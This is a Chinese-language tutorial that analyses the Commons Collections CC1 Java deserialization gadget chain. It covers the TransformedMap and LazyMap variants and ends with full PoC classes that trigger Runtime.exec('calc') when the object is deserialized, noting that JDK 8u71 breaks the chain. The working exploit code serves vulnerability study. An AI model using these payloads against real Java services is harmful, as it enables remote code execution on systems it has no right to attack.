Common-Collections1
简化版
首先来看一下p牛简化版的CC1,不含反序列化等操作,只有漏洞点的触发
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CC1simple {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
运行,弹出计算器,代表rce
这里主要使用了以下几种接口和类:
Transformer
Transformer,顾名思义是转换器的意思。Transformer 能够将一个 对象转换成另一个对象。
可以看到,这个接口只有一个transform方法,但是它有21种实现
而我们构造这条链使用的几个类,皆实现了Transformer接口
TransformedMap
Map类是存储键值对的数据结构。TransformedMap是对Map进行修饰,当被修饰的Map被添加/删除/或是被修改时,会调用transform方法自动进行特定的修饰变换。我们看下面的代码
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
TransformedMap的decorate方法对innerMap进行一个修饰,第一个参数是被修饰的Map,第二个参数为处理Key的回调,第三个参数为处理Value的回调,该方法会返回一个被修饰后的Map,即outerMap
我们查看TransformedMap中存在一个transformValue方法,此方法即为处理Value的回调
它会对我们传入被修饰Map的value进行一个transform方法的的调用
ConstantTransformer
这个类的构造函数将接收的参数,然后transform方法将参数返回
InvokerTransformer
这个类接收三个参数,第一个参数为方法名,第二个参数为此方法接收的参数类型,第三个参数是传给这个方法的参数
该类的transform⽅法,是一个完整的反射调用,这也是反序列化能执⾏任意代码的关键,它可以调用input对象的方法,从而能够⽤来执⾏任意⽅法
ChainedTransformer
该类的构造方法接收一个Transformer数组,将数组中的多个Transformer串在⼀起,即前一个的结果,作为后一个的输入
这里借用一张p牛的图来加深理解
构造代码
在了解过上述类或接口后,我们再回过头来看一下这个简化版的CC1
关键代码如下,我们创建一个ChainedTransformer来接收剩下的两个Transformer,第一个ConstantTransformer,用来返回Runtime对象;第⼆个InvokerTransformer,用来执⾏Runtime对象的exec⽅法,参数为calc
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
然后使用我们开头说的TransformedMap.decorate用来包装innerMap,value为我们刚才构造的数组transformerChain,那我们如何触发这一系列回调呢,只需要向Map中放入一个新的元素
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
TransformedMap版
在简化版中,我们并没有构造一条完整的利用链,没有对outerMap进行一个序列化,所以是无法进行反序列化利用的,接下来我们对其进行一个扩充
在简化版中,我们触发漏洞是使用outerMap.put(“test”, “xxxx”),但在实际情况中,我们是无法这样写入的,那我们就需要需找一个类,它在反序列化的readObject里有类似的写入操作
AnnotationInvocationHandler
我们查看它的readObject方法(jdk8u71以前)
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
注意这里,memberValues是反序列化后都得到的Map,也是经过了TransformedMap修饰的对象,这里会遍历它的所有元素,从而触发setValue方法。
在setValue时就会触发TransformedMap中的checkSetValue方法
TransformedMap中的checkSetValue方法,会触发transform方法,从而调用我们构造的一系列transform回调,进而RCE
那接下来让我们看看如何构造,从而进入到该类的setValue方法,首先创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置进来,因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,所以我们需要使用反射来获取它,并将其设置成外部可见的
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
这里我们可以看到AnnotationInvocationHandler类的构造函数有两个参数,第一个参数为Annotation类;第二个是参数是前面构造的Map。
那我们这里第一个参数为何要使用Retention.class呢,我们回过头去看一下setValue方法的触发条件。可以看到这里需要经过两个if判断,才能调用setValue方法。
第一个条件为memberType不为null,我们来看下memberType是如何获取的
annotationType = AnnotationType.getInstance(type);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
Class<?> memberType = memberTypes.get(name);
即第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
第二个条件为
!(memberType.isInstance(value) ||value instanceof ExceptionProxy)
即被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
而Retention有一个方法,名为value
为了满足第二个条件,需要给Map中放入一个Key是value的元素
innerMap.put("value", "xxxx");
这之后给出改造后的代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CC1{
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[] { String.class },new String[]{"calc"}),};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
//模拟序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
//模拟反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
运行报错,我们看一下报错信息, java.io.NotSerializableException: java.lang.Runtime 。
为什么呢,这是因为Runtime没有继承Serializable接口,所以无法被序列化,那如何解决呢,很简单,使用反射来获取到Runtime对象即可
即
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
那最终我们的完整代码为
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CC1{
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class },new String[]{"calc"}),};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
//模拟序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
//模拟反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
运行,成功弹出计算器
不过这条链在jdk8u71之后,
sun.reflect.annotation.AnnotationInvocationHandler 发生了变化
改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。所以不能够触发RCE了
LazyMap版
接下来我们来学习一下LazyMap版本的CC1,此为ysoserial的原版利用链,而TransformedMap是由这篇文章提出Exploiting Deserialization Vulnerabilities in Java
LazyMap
LazyMap同样来自于Common-Collections库,它的漏洞触发点在于其get方法,对比TransformedMap的触发点,TransformedMap是写入元素的时候触发,而LazyMap的get方法是其找不到指定的键名后,它会调用 factory.transform 方法去获取一个值
我们尝试简单构造一下,看看是否能够触发漏洞点
LazyMap的构造方法同TransformedMap一样,都是protected,所以需要使用decorate方法去创建对象
demo如下
public class test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class },new String[]{"calc"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(),chainedTransformer);
lazymap.get(6);
}
}
AnnotationInvocationHandler
那接下来如何去调用此get方法呢?在AnnotationInvocationHandler类的invoke方法可以调用到get方法
那么怎么调用 AnnotationInvocationHandler#invoke呢?这里需要使用Java
的对象代理
Java对象代理
这里要使用到动态代理,具体不在多叙述,简单来说,就是AnnotationInvocationHandler继承了InvocationHandler接口,可以通过Proxy类的newProxyInstance来创建动态代理,那么在readObject时,只要调用任意方法,就会到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的
LazyMap#get 。
对AnnotationInvocationHandler 对象进行Proxy
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
代理后的对象为proxyMap,然后将其包裹在AnnotationInvocationHandle中,从而进行反序列化
handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);
梳理一下调用链
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
最终poc为
package CCdemo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1_LazyMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
//模拟序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
//模拟反序列化
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
运行POC,成功弹出计算器
调试的时候,发现会多次弹出计算器,为什么呢?
在使用Proxy代理了map对象后,我们在任何地方执行map的方法就会触Payload弹出计算器,所以,在本地调试代码的时候,因为调试器会在下面调用一toString之类的方法,导致不经意间触发了命令。
总结
与TransformedMap相同,这条链同样在jdk8u71以后不能使用,原因也相同,变更后的AnnotationInvocationHandler#readObject不再直接使用反序列化得到的Map对象,所以不能够使用了